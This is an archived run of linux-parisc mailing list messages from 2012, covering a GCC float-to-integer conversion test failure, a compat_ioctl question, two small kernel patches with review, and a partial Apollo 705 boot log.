Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4097>

The following testcase fails when compiled with -march=2.0:

/* Test front-end conversions, optimizer conversions, and run-time
   conversions between different arithmetic types.

   Constants are specified in a non-obvious way to make them work for
   any word size.  Their value on a 32-bit machine is indicated in the
   comments.

   Note that this code is NOT intended for testing of accuracy of fp
   conversions.  */

unsigned long long int
f2ull(float f)
{
  return (unsigned long long int) f;
}

test_float_to_longlong_integer()
{
  if (f2ull((float) ((~0ULL) >> 1)) != (~0ULL) >> 1 &&	/* 0x7fffffff */
      f2ull((float) ((~0ULL) >> 1)) != ((~0ULL) >> 1) + 1)
    abort();
}

main()
{
  test_float_to_longlong_integer();
  exit(0);
}

The problem is the fcnv,t,sgl,udw instruction. It appears it isn't emulated
correctly.  Test doesn't fail on hpux.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Use compat_ioctl?
Date: Sun, 15 Jan 2012 17:33:37 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <BLU0-SMTP629D613FF8EF578FA85A0197820@phx.gbl>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1326666841 15609 80.91.229.12 (15 Jan 2012 22:34:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 15 Jan 2012 22:34:01 +0000 (UTC)
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 15 23:33:57 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RmYeC-0007AX-Eu
	for glpp-linux-parisc@lo.gmane.org; Sun, 15 Jan 2012 23:33:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752665Ab2AOWdz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 15 Jan 2012 17:33:55 -0500
Original-Received: from blu0-omc4-s26.blu0.hotmail.com ([65.55.111.165]:29690 "EHLO
	blu0-omc4-s26.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752541Ab2AOWdz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 15 Jan 2012 17:33:55 -0500
Original-Received: from BLU0-SMTP62 ([65.55.111.135]) by blu0-omc4-s26.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 15 Jan 2012 14:33:54 -0800
X-Originating-IP: [174.92.90.153]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.90.153]) by BLU0-SMTP62.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 15 Jan 2012 14:33:54 -0800
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 15 Jan 2012 22:33:54.0059 (UTC) FILETIME=[C309B5B0:01CCD3D5]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4098
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4098>

Occasionally, I see messages like:

ioctl32(python:29268): Unknown cmd fd(7) cmd(00005302){t:'S';sz:0}  
arg(fe1f3fcc) on /dev/pts/5

I read somewhere that this may be caused by not using the compat_ioctl  
method (32-bit apps
running on 64-bit kernel).

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike@sf-mail.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 2/2] HIL: remove one goto
Date: Mon, 16 Jan 2012 20:13:42 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <1907306.0Ne3j968CE@eto>
References: <6637509.yTD8q5zPsI@eto>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1326741275 8078 80.91.229.12 (16 Jan 2012 19:14:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 16 Jan 2012 19:14:35 +0000 (UTC)
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 16 20:14:32 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Rms0l-0005vt-Bv
	for glpp-linux-parisc@lo.gmane.org; Mon, 16 Jan 2012 20:14:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755957Ab2APTOa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Jan 2012 14:14:30 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:59105 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755760Ab2APTOa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Jan 2012 14:14:30 -0500
Original-Received: (qmail 30054 invoked from network); 16 Jan 2012 19:14:27 -0000
Original-Received: from dslb-178-003-165-000.pools.arcor-ip.net ([::ffff:178.3.165.0] HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.21svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Mon, 16 Jan 2012 19:14:27 +0000
User-Agent: KMail/4.7.4 (Linux/3.1.0-1.2-desktop; KDE/4.7.4; x86_64; ; )
In-Reply-To: <6637509.yTD8q5zPsI@eto>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4099
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4099>

>From 71de9e0407870c980e57335a5bc555f24d90683b Mon Sep 17 00:00:00 2001
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Date: Mon, 16 Jan 2012 19:44:01 +0100
Subject: [PATCH 2/2] HIL: remove one goto

This goto is only used to skip the next instruction, which can easily be done
without a goto.

Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
---
 drivers/input/serio/hil_mlc.c |   11 +++++------
 1 files changed, 5 insertions(+), 6 deletions(-)

diff --git a/drivers/input/serio/hil_mlc.c b/drivers/input/serio/hil_mlc.c
index bfd3865..0280167 100644
--- a/drivers/input/serio/hil_mlc.c
+++ b/drivers/input/serio/hil_mlc.c
@@ -686,13 +686,12 @@ static int hilse_donode(hil_mlc *mlc)
 		write_lock_irqsave(&mlc->lock, flags);
 		pack = node->object.packet;
 	out:
-		if (mlc->istarted)
-			goto out2;
-		/* Prepare to receive input */
-		if ((node + 1)->act & HILSE_IN)
-			hilse_setup_input(mlc, node + 1);
+		if (!mlc->istarted) {
+			/* Prepare to receive input */
+			if ((node + 1)->act & HILSE_IN)
+				hilse_setup_input(mlc, node + 1);
+		}
 
-	out2:
 		write_unlock_irqrestore(&mlc->lock, flags);
 
 		if (down_trylock(&mlc->osem)) {
-- 
1.7.7


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike@sf-mail.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 1/2] parisc: fix compile without CONFIG_PCI
Date: Mon, 16 Jan 2012 20:13:20 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <4000012.xgVA85Qcpi@eto>
References: <6637509.yTD8q5zPsI@eto>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1326741301 8263 80.91.229.12 (16 Jan 2012 19:15:01 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 16 Jan 2012 19:15:01 +0000 (UTC)
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 16 20:14:57 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Rms19-0005vt-S1
	for glpp-linux-parisc@lo.gmane.org; Mon, 16 Jan 2012 20:14:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755957Ab2APTOz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Jan 2012 14:14:55 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:38422 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755760Ab2APTOz (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Jan 2012 14:14:55 -0500
Original-Received: (qmail 30094 invoked from network); 16 Jan 2012 19:14:53 -0000
Original-Received: from dslb-178-003-165-000.pools.arcor-ip.net ([::ffff:178.3.165.0] HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.21svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Mon, 16 Jan 2012 19:14:53 +0000
User-Agent: KMail/4.7.4 (Linux/3.1.0-1.2-desktop; KDE/4.7.4; x86_64; ; )
In-Reply-To: <6637509.yTD8q5zPsI@eto>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4100
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4100>

>From f49bd6e33a3b6f499a6039a5980af21893524e86 Mon Sep 17 00:00:00 2001
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Date: Mon, 16 Jan 2012 18:59:29 +0100
Subject: [PATCH 1/2] parisc: fix compile without CONFIG_PCI

This function is already defined as a noop in include/asm-generic/iomap.h.

Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
---
 arch/parisc/lib/iomap.c |    4 ++++
 1 files changed, 4 insertions(+), 0 deletions(-)

diff --git a/arch/parisc/lib/iomap.c b/arch/parisc/lib/iomap.c
index fb8e10a..b2b0408 100644
--- a/arch/parisc/lib/iomap.c
+++ b/arch/parisc/lib/iomap.c
@@ -436,12 +436,14 @@ void ioport_unmap(void __iomem *addr)
 	}
 }
 
+#ifdef CONFIG_PCI
 void pci_iounmap(struct pci_dev *dev, void __iomem * addr)
 {
 	if (!INDIRECT_ADDR(addr)) {
 		iounmap(addr);
 	}
 }
+#endif /* CONFIG_PCI */
 
 EXPORT_SYMBOL(ioread8);
 EXPORT_SYMBOL(ioread16);
@@ -461,4 +463,6 @@ EXPORT_SYMBOL(iowrite16_rep);
 EXPORT_SYMBOL(iowrite32_rep);
 EXPORT_SYMBOL(ioport_map);
 EXPORT_SYMBOL(ioport_unmap);
+#ifdef CONFIG_PCI
 EXPORT_SYMBOL(pci_iounmap);
+#endif /* CONFIG_PCI */
-- 
1.7.7


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 0/2] Random PARISC patches
Date: Mon, 16 Jan 2012 20:12:32 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <6637509.yTD8q5zPsI@eto>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart120616636.2XbphnSLlZ"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1326741332 8593 80.91.229.12 (16 Jan 2012 19:15:32 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 16 Jan 2012 19:15:32 +0000 (UTC)
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 16 20:15:29 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Rms1a-0005vt-Pc
	for glpp-linux-parisc@lo.gmane.org; Mon, 16 Jan 2012 20:15:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756116Ab2APTPW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Jan 2012 14:15:22 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:48683 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755760Ab2APTPV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Jan 2012 14:15:21 -0500
Original-Received: (qmail 2504 invoked from network); 16 Jan 2012 19:15:20 -0000
Original-Received: from dslb-178-003-165-000.pools.arcor-ip.net ([::ffff:178.3.165.0] HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.21svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Mon, 16 Jan 2012 19:15:20 +0000
User-Agent: KMail/4.7.4 (Linux/3.1.0-1.2-desktop; KDE/4.7.4; x86_64; ; )
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4101
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4101>


--nextPart120616636.2XbphnSLlZ
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

This little series has 2 patches that have nothing to do with each other 
beyond the point that I stumbled over both of these things today.

The first one fixes a compile error if CONFIG_PCI is not set, e.g. for the 
Apollo 705 I have. This is also needed in 3.2, although it covers also 
pci_iomap() in this case which was moved to lib/ by a recent patch.

The other one is just a minor code cleanup in the HIL driver.

Eike
--nextPart120616636.2XbphnSLlZ
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAk8UdqYACgkQXKSJPmm5/E697wCeJYHC6qTcstsonT1hWeAJYOHQ
kEEAnAtiM1YwaJQ9llu3WnoNXL4/KH3o
=w2OX
-----END PGP SIGNATURE-----

--nextPart120616636.2XbphnSLlZ--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 2/2] HIL: remove one goto
Date: Mon, 16 Jan 2012 14:38:49 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <4F147CC9.1070409@bell.net>
References: <6637509.yTD8q5zPsI@eto> <1907306.0Ne3j968CE@eto>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1326742732 19038 80.91.229.12 (16 Jan 2012 19:38:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 16 Jan 2012 19:38:52 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: Rolf Eike Beer <eike@sf-mail.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 16 20:38:47 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RmsOF-0001vs-8t
	for glpp-linux-parisc@lo.gmane.org; Mon, 16 Jan 2012 20:38:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755998Ab2APTiq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 16 Jan 2012 14:38:46 -0500
Original-Received: from mail16.primus.ca ([216.254.141.183]:48973 "EHLO
	mail-09.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1755565Ab2APTip (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 16 Jan 2012 14:38:45 -0500
Original-Received: from luxcom.gta.igs.net ([216.58.85.197] helo=[192.168.0.123])
	by mail-09.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1RmsOC-0003Pp-2C; Mon, 16 Jan 2012 14:38:44 -0500
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:8.0) Gecko/20111105 Thunderbird/8.0
In-Reply-To: <1907306.0Ne3j968CE@eto>
X-Authenticated: danglin-lux@magma.ca - luxcom.gta.igs.net ([192.168.0.123]) [216.58.85.197]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4102
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4102>

On 1/16/2012 2:13 PM, Rolf Eike Beer wrote:
> +		if (!mlc->istarted) {
> +			/* Prepare to receive input */
> +			if ((node + 1)->act&  HILSE_IN)
> +				hilse_setup_input(mlc, node + 1);
> +		}
It looks to me like this could be further simplified with an &&.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Boot error using 3.2.1: swapper (pid 1): Illegal instruction (code 8)
Date: Tue, 17 Jan 2012 11:41:54 +0100
Lines: 1481
Approved: news@gmane.org
Message-ID: <5333929.7Zifozzp4e@devpool02>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="nextPart4974704.aTbWWglFck"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1326796908 27708 80.91.229.12 (17 Jan 2012 10:41:48 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 17 Jan 2012 10:41:48 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 17 11:41:43 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Rn6U1-0000Or-5n
	for glpp-linux-parisc@lo.gmane.org; Tue, 17 Jan 2012 11:41:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753163Ab2AQKl2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Jan 2012 05:41:28 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:52861 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753192Ab2AQKlV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Jan 2012 05:41:21 -0500
Original-Received: (qmail 31428 invoked from network); 17 Jan 2012 10:41:17 -0000
Original-Received: from unknown ([::ffff:80.150.94.234] HELO devpool02.localnet) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.21svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Tue, 17 Jan 2012 10:41:17 +0000
User-Agent: KMail/4.7.4 (Linux/3.1.0-46-desktop; KDE/4.7.4; x86_64; ; )
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4103
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4103>


--nextPart4974704.aTbWWglFck
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Machine is an Apollo 705, previous kernel version was 2.6.28. Any hints 
appreciated. Config attached.

Eike

Linux version 3.2.1 (root@apollo) (gcc version 4.5.3 (Gentoo 4.5.3-r1 p1.0, 
pie-0.4.5) ) #1 Mon Jan 16 15:48:44 CET 2012
unwind_init: start = 0x1043b000, end = 0x1046b8f0, entries = 12431
FP[0] enabled: Rev 3 Model 0
The 32-bit Kernel has started...
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: Snake.
model 00003020 00000481 00000000 00000000 77aac223 ffffffff 00000004 0000000d 
00000000
vers  00000003
model 9000/705
Total Memory: 64 MB
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 16256
Kernel command line: root=/dev/sdb5 console=ttyS0,57600 console=tty0 
palo_kernel=2/vmlinux-3.2.1
PID hash table entries: 256 (order: -2, 1024 bytes)
Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)
Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)
Memory: 60612k/65536k available (2558k kernel code, 4924k reserved, 1243k 
data, 236k init)
virtual kernel memory layout:
    vmalloc : 0x00008000 - 0x0f000000   ( 239 MB)
    memory  : 0x10000000 - 0x14000000   (  64 MB)
      .init : 0x104e0000 - 0x1051b000   ( 236 kB)
      .data : 0x1037fbf4 - 0x104b6810   (1243 kB)
      .text : 0x10100000 - 0x1037fbf4   (2558 kB)
SLUB: Genslabs=13, HWalign=32, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
NR_IRQS:96
Console: colour dummy device 128x48
console [tty0] enabled, bootconsole disabled
Linux version 3.2.1 (root@apollo) (gcc version 4.5.3 (Gentoo 4.5.3-r1 p1.0, 
pie-0.4.5) ) #1 Mon Jan 16 15:48:44 CET 2012
unwind_init: start = 0x1043b000, end = 0x1046b8f0, entries = 12431
FP[0] enabled: Rev 3 Model 0
The 32-bit Kernel has started...
bootconsole [ttyB0] enabled
Initialized PDC Console for debugging.
Determining PDC firmware type: Snake.
model 00003020 00000481 00000000 00000000 77aac223 ffffffff 00000004 0000000d 
00000000
vers  00000003
model 9000/705
Total Memory: 64 MB
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 16256
Kernel command line: root=/dev/sdb5 console=ttyS0,57600 console=tty0 
palo_kernel=2/vmlinux-3.2.1
PID hash table entries: 256 (order: -2, 1024 bytes)
Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)
Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)
Memory: 60612k/65536k available (2558k kernel code, 4924k reserved, 1243k 
data, 236k init)
virtual kernel memory layout:
    vmalloc : 0x00008000 - 0x0f000000   ( 239 MB)
    memory  : 0x10000000 - 0x14000000   (  64 MB)
      .init : 0x104e0000 - 0x1051b000   ( 236 kB)
      .data : 0x1037fbf4 - 0x104b6810   (1243 kB)
      .text : 0x10100000 - 0x1037fbf4   (2558 kB)
SLUB: Genslabs=13, HWalign=32, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
NR_IRQS:96
Console: colour dummy device 128x48
console [tty0] enabled, bootconsole disabled
Calibrating delay loop... 34.61 BogoMIPS (lpj=173056)
pid_max: default: 32768 minimum: 301
Mount-cache hash table entries: 512
devtmpfs: initialized
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Stinger Optional Graphics at 0xf4000000 [0] { 10, 0x0, 0x006, 0x00077 }
2. Flounder Core BA at 0xf082f000 [2] { 11, 0x0, 0x008, 0x00070 }
3. Flounder Core SCSI at 0xf0825000 [2/0/1] { 10, 0x0, 0x008, 0x00071 }
4. Flounder Core LAN (802.3) at 0xf0826000 [2/0/2] { 10, 0x0, 0x008, 0x00072 }
5. Flounder Core HIL at 0xf0821000 [2/0/3] { 10, 0x0, 0x008, 0x00073 }
6. Flounder Core RS-232 at 0xf0823000 [2/0/4] { 10, 0x0, 0x008, 0x00075 }
7. Flounder Core RS-232 at 0xf0822000 [2/0/5] { 10, 0x0, 0x008, 0x00075 }
8. Flounder Core Centronics at 0xf0824000 [2/0/6] { 10, 0x0, 0x008, 0x00074 }
9. Flounder Audio at 0xf1000000 [2/0/8] { 10, 0x0, 0x008, 0x0007a }
10. Flounder (705) at 0xfffbe000 [8] { 0, 0x0, 0x302, 0x00004 }
11. Memory at 0xfffbf000 [9] { 1, 0x0, 0x018, 0x00009 }
CPU(s): 1 x PA7000 (PCX-S) at 35.000000 MHz
Setting cache flush threshold to de0 (1 CPUs online)
Asp version 1 at 0xf082f000 found.
LED (ASP-style) display at f0800020 registered
powersw: Soft power switch support not available.
bio: create slab <bio-0> at 0
SCSI subsystem initialized
Advanced Linux Sound Architecture Driver Version 1.0.24.
Switching to clocksource cr16
NET: Registered protocol family 2
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
TCP established hash table entries: 2048 (order: 2, 16384 bytes)
TCP bind hash table entries: 2048 (order: 1, 8192 bytes)
TCP: Hash tables configured (established 2048 bind 2048)
TCP reno registered
UDP hash table entries: 256 (order: 0, 4096 bytes)
UDP-Lite hash table entries: 256 (order: 0, 4096 bytes)
NET: Registered protocol family 1
PDC console driver not registered anymore, not creating ttyB
Chassis warnings not supported.
msgmni has been set to 118
Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
io scheduler noop registered
io scheduler deadline registered
io scheduler cfq registered (default)
PDC Stable Storage facility v0.30
STI GSC/PCI core graphics driver Version 0.9a
    id 27f12392-40a00499, conforms to spec rev. 8.02
    graphics card name: HPA1991AGrayscale
sticon: Initializing STI text console.
Console: switching to colour STI console 160x64
Console: switching to colour frame buffer device 160x64
fb0: stifb 1280x1024-8 frame buffer device, HPA1991AGrayscale, id: 27f12392, 
mmio: 0xf4100000
Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled
2:0:4: ttyS0 at MMIO 0xf0823800 (irq = 20) is a 16550A
console [ttyS0] enabled
2:0:5: ttyS1 at MMIO 0xf0822800 (irq = 21) is a 16550A
parport_init_chip: enhanced parport-modes not supported.
parport0: PC-style at 0xf0824800, irq 22 [PCSPP]
parport0: fix this legacy no-device port driver!
brd: module loaded
loop: module loaded
53c700: Version 2.8 By James.Bottomley@HansenPartnership.com
scsi0: 53c700 rev 0 
scsi0 : LASI SCSI 53c700
scsi 0:0:0:0: Direct-Access     TEAC     FC-1     HF   07 RV B PQ: 0 ANSI: 1 
CCS
scsi 0:0:4:0: Direct-Access     SEAGATE  ST39173N         6244 PQ: 0 ANSI: 2
sd 0:0:0:0: [sda] 5120 256-byte logical blocks: (1.31 MB/1.25 MiB)
sd 0:0:4:0: Enabling Tag Command Queuing
